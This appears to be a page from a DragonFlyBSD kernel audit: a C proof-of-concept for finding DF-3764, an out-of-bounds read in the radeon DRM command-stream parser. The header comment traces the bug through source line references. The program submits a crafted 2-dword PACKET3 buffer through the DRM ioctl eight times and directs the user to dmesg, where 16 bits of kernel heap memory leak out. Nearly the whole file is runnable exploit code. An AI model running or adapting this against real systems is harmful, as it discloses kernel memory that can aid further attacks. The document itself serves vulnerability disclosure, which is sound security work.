⬢ DragonFlyBSD Kernel Audit
DF-3764 / df3764_oob_read.c
← back to finding ↓ download raw
/* DF-3764 — r100_packet3_check() reads IB payload dwords at fixed offsets
 *           without validating pkt->count -> OOB read 1 dword past the IB
 *           chunk end; value reaches dmesg via DRM_ERROR on failure paths.
 *
 * Trigger: single PACKET3 3D_DRAW_VBUF (opcode 0x28) with count=0 as the
 * LAST packet of a 2-dword IB. radeon_cs_packet_parse() only guarantees
 * pkt->idx + count + 1 < length_dw (radeon_cs.c:768), i.e. ib[0..1] are
 * in-bounds; the handler (r100.c:2014) then reads
 *   track->vap_vf_cntl = radeon_get_ib_value(p, idx + 1)  ==  ib[2]
 * one dword PAST the IB sub-allocation.  radeon_get_ib_value()
 * (radeon.h:1098) has no bounds check.
 *
 * If the OOB dword's PRIM_WALK bits (4:5) happen to be 3, r100_cs_track_check()
 * takes the IMMD path, fails the immd_dwords equality (0xFFFFFFFF) and prints
 *   "VAP_VF_CNTL.NUM_VERTICES %u" = (oob >> 16) & 0xFFFF
 * to the kernel log -> 16 bits of kernel/pool heap memory disclosed per
 * submission (dmesg world-readable).
 *
 * Build: cc -o df3764 df3764_oob_read.c
 * Run:   ./df3764 /dev/dri/renderD128 ; then check: dmesg | grep NUM_VERTICES
 */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

struct rr_cs_chunk   { uint32_t chunk_id, length_dw; uint64_t chunk_data; };
struct rr_cs         { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; };

#define RR_CS                   0x26
#define RR_IOCTL_CS             _IOWR('d', RR_CS, struct rr_cs)
#define RR_CHUNK_ID_IB          0x02
#define RR_CHUNK_ID_FLAGS       0x03

#define PKT3(op, n)   ((3u<<30) | (((n)&0x3FFFu)<<16) | (((op)&0xFFu)<<8))
#define PKT3_3D_DRAW_VBUF       0x28

static int fd;

static int
submit_cs(uint32_t *ib, uint32_t ib_dw)
{
	struct rr_cs_chunk chunks[2];
	uint64_t chunk_ptrs[2];
	struct rr_cs cs;
	uint32_t flags[2] = { 0, 0 };

	memset(chunks, 0, sizeof(chunks));
	chunks[0].chunk_id = RR_CHUNK_ID_IB;
	chunks[0].length_dw = ib_dw;
	chunks[0].chunk_data = (uint64_t)(uintptr_t)ib;
	chunks[1].chunk_id = RR_CHUNK_ID_FLAGS;
	chunks[1].length_dw = 2;
	chunks[1].chunk_data = (uint64_t)(uintptr_t)flags;
	chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0];
	chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1];

	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 2;
	cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs;
	return ioctl(fd, RR_IOCTL_CS, &cs);
}

int
main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128";
	uint32_t ib[2];
	int i;

	fd = open(node, O_RDWR);
	if (fd < 0) {
		perror(node);
		return 1;
	}

	/* IB of exactly 2 dwords: type3 DRAW_VBUF header + 1 payload dword.
	 * Parse check passes: 0 + 0 + 1 < 2. Handler reads ib[2] -> OOB. */
	ib[0] = PKT3(PKT3_3D_DRAW_VBUF, 0);
	ib[1] = 0x00000000;		/* in-bounds dword (ignored by handler) */

	for (i = 0; i < 8; i++) {
		if (submit_cs(ib, 2) == 0)
			printf("[%d] CS accepted -> OOB dword consumed as VAP_VF_CNTL\n", i);
		else
			printf("[%d] CS rejected (%s) -- OOB value still parsed\n", i, strerror(errno));
	}
	printf("now inspect kernel log for leaked OOB dword:\n");
	printf("  dmesg | grep -E 'NUM_VERTICES|primitive walk|no buffer'\n");
	return 0;
}